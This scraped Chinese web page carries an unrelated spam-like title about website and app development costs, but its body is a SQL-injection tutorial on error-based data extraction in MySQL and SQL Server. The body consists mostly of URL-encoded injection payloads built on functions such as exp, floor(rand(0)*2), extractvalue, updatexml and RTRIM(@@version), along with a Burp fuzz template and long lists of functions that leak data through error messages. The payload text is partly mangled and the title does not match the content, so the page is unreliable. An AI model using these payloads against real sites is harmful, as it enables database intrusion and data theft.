当前位置：首页 > news >正文

做个外贸网站多少钱app开发直播功能

news 2025/10/15 17:00:03

做个外贸网站多少钱,app开发直播功能,长春建站程序,小皮搭建本地网站mysql mysql的报错内容比较多网上也有比较多的这里重复的就不多介绍了。一笔带过溢出类 bigint 当超过mysql的整形的时候#xff0c;就会导致溢出#xff0c;mysql可能会将错误信息带出。这里user()是字母默认为0 取反以后1可能就会导致异常。报错特征 BIGINT UNSIG…mysql mysql的报错内容比较多网上也有比较多的这里重复的就不多介绍了。一笔带过溢出类 bigint 当超过mysql的整形的时候就会导致溢出mysql可能会将错误信息带出。这里user()是字母默认为0 取反以后1可能就会导致异常。报错特征 BIGINT UNSIGNED value is out of range in 不需要函数直接让他报错出来 select%20(~(select%20*%20from(select%20user())x)%2b1,1) 也可以利用函数的参数让其报错 abs select abs(~(select * from (select user())a))1 Exp select exp(~(select * from (select user())a))1 Avg select AVG(~(select * from(select user())x)1) BIT_AND 后续还有很多就不一一列举了直接burp跑一波结果 ABS ACOS AREA AsBinary ASCII ASIN AsText AsWKB AsWKT ATAN ATAN2 AVG BIN BIT_AND BIT_COUNT BIT_LENGTH BIT_OR BIT_XOR CEIL CEILING CENTROID CHARACTER_LENGTH CHAR_LENGTH COALESCE COMPRESS CONCAT COS COT COUNT CRC32 DAY DAYNAME DAYOFMONTH DAYOFWEEK DAYOFYEAR DEGREES DES_DECRYPT DES_ENCRYPT DIMENSION ENCRYPT ENDPOINT ENVELOPE EXP ExteriorRing FLOOR FROM_DAYS FROM_UNIXTIME GeomCollFromText GeomCollFromWKB GeometryCollectionFromText GeometryCollectionFromWKB GeometryFromText GeometryFromWKB GeomFromText GeomFromWKB GeometryType GLENGTH GROUP_CONCAT HEX HOUR INET_ATON INET_NTOA IsClosed IsEmpty IS_FREE_LOCK ISNULL IsSimple IS_USED_LOCK LAST_DAY LAST_INSERT_ID LCASE LENGTH LineFromText LineFromWKB LineStringFromText LineStringFromWKB LN LOAD_FILE LOG LOG10 LOG2 LOWER LTRIM MAX MD5 MICROSECOND MIN MINUTE MLineFromText MLineFromWKB MONTH MONTHNAME MPointFromText MPointFromWKB MPolyFromText MPolyFromWKB MultiLineStringFromText MultiLineStringFromWKB MultiPointFromText MultiPointFromWKB MultiPolygonFromText MultiPolygonFromWKB NumGeometries NumInteriorRings NumPoints OCT OCTET_LENGTH OLD_PASSWORD ORD PASSWORD PointFromText PointFromWKB PolyFromText PolyFromWKB PolygonFromText PolygonFromWKB QUARTER QUOTE RADIANS RAND RELEASE_LOCK REVERSE ROUND RTRIM SECOND SEC_TO_TIME SHA SHA1 SIGN SIN SLEEP SOUNDEX SPACE SQRT SRID STARTPOINT STD STDDEV STDDEV_POP STDDEV_SAMP SUM TAN TIME_TO_SEC TO_DAYS TO_SECONDS TRIM UCASE UNHEX UNCOMPRESS UNCOMPRESSED_LENGTH UNIX_TIMESTAMP UPPER VAR_POP VAR_SAMP VARIANCE WEEK WEEKDAY WEEKOFYEAR X Y YEAR YEARWEEK select%20§AVG§(~(select%20*%20from(select%20user())x)%2b1,1) ADDDATE ADDTIME AES_DECRYPT AES_ENCRYPT ATAN ATAN2 BENCHMARK COALESCE CONCAT CONCAT_WS CONTAINS CROSSES DATEDIFF DATE_FORMAT DECODE DES_DECRYPT DES_ENCRYPT DISJOINT ELT ENCODE ENCRYPT EQUALS EXTRACTVALUE FIELD FIND_IN_SET FORMAT FROM_UNIXTIME GeomCollFromText GeomCollFromWKB GeometryCollectionFromText GeometryCollectionFromWKB GeometryFromText GeometryFromWKB GeomFromText GeomFromWKB GeometryN GET_LOCK GREATEST GROUP_CONCAT IFNULL INTERVAL INSTR InteriorRingN INTERSECTS LEAST LEFT LineFromText LineFromWKB LineStringFromText LineStringFromWKB LOCATE LOG MAKE_SET MAKEDATE MASTER_POS_WAIT MBRContains MBRDisjoint MBREqual MBRIntersects MBROverlaps MBRTouches MBRWithin MID MLineFromText MLineFromWKB MOD MPointFromText MPointFromWKB MPolyFromText MPolyFromWKB MultiLineStringFromText MultiLineStringFromWKB MultiPointFromText MultiPointFromWKB MultiPolygonFromText MultiPolygonFromWKB NULLIF OVERLAPS PERIOD_ADD PERIOD_DIFF POINT PointFromText PointFromWKB PointN PolyFromText PolyFromWKB PolygonFromText PolygonFromWKB POW POWER RIGHT ROUND SHA2 STR_TO_DATE STRCMP SUBDATE SUBSTR SUBSTRING SUBTIME TIMEDIFF TIME_FORMAT TOUCHES TRUNCATE WEEK WITHIN YEARWEEK 其他请自行fuzz DOUBLE value is out of range Exp selectexp(~(select*from(selectuser())x)) cot SELECT%20COT((select%20*%20from(select%20*%20from(select%20user())a)b)); 主键重复类原理可以参考https://www.cnblogs.com/kjcy8/p/16413428.html rand0*2 由于mysql的主键不允许重复会抛出Duplicate entry的异常所以可以通过有规律的插入主键来导致报错。这里通过随机数来获取组件范围只要我们让返回的数据能满足规律就会导致报错这里我通过fuzz 发现了以下的函数可以满足 select count(*),floor(rand(0)*2) x from mysql.user group by CONCAT(x,user()); ASCII BIN CEIL CEILING FLOOR OCT ORD SECOND TIME_TO_SEC select count(*),floor(rand(0)*2,1) x from mysql.user group by CONCAT(x,user()); FORMAT INSTR INTERVAL LEAST LEFT LOG RIGHT ROUND STR_TO_DATE STRCMP select count(*),floor(rand(0)*2,1,1) x from mysql.user group by CONCAT(x,user()); FORMAT INTERVAL LEAST LPAD MID RPAD SUBSTR SUBSTRING SUBSTRING_INDEX 其余的请自行fuzz xpath语法错误网上有总结就列举 extractvalue updatexml 几何图形有总结直接列举 ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash gtid_subtract geometrycollection multipoint multipolygon linestring multilinestring polygon mssqlserver sqlserver的报错主要是集中在类型转换上可以有以下思路 1调用转化函数 cast convert 2参数化查询报错 3给定转换1version 这里主要是看第二种给几个结果 id%27%20and%201RTRIM(version)%20and%20%271%27%271 id%27%20and%201RAND(version)%20and%20%271%27%271 fuzz结果如下统计如下 id%27%20and%201RAND(version)%20and%20%271%27%271 CHAR LTRIM RTRIM SPACE RAND id%27%20and%201REPLACE(version,1,1)%20and%20%271%27%271 REPLACE id%27%20and%201RIGHT(1,version)%20and%20%271%27%271 LEFT RIGHT version1 当我们需要搜索的是字符串我们可以通过1让他直接报错基本可以捶很多的函数了这里只列举一些 id%27%20and%201COT(version%2b1)%20and%20%271%27%271 ABS ACOS ASCII ASIN ATAN CEILING CHAR COS COT DEGREES EXP FLOOR LOG LOG10 LTRIM RADIANS RAND RTRIM SIGN SIN SOUNDEX SPACE SQRT TAN id%27%20and%201ROUND(version%2b1,1)%20and%20%271%27%271 LEFT RIGHT POWER ROUND 其余请自行fuzz 直接执行select语句也是可以的

查看全文

http://www.tj-hxxt.cn/news/220370.html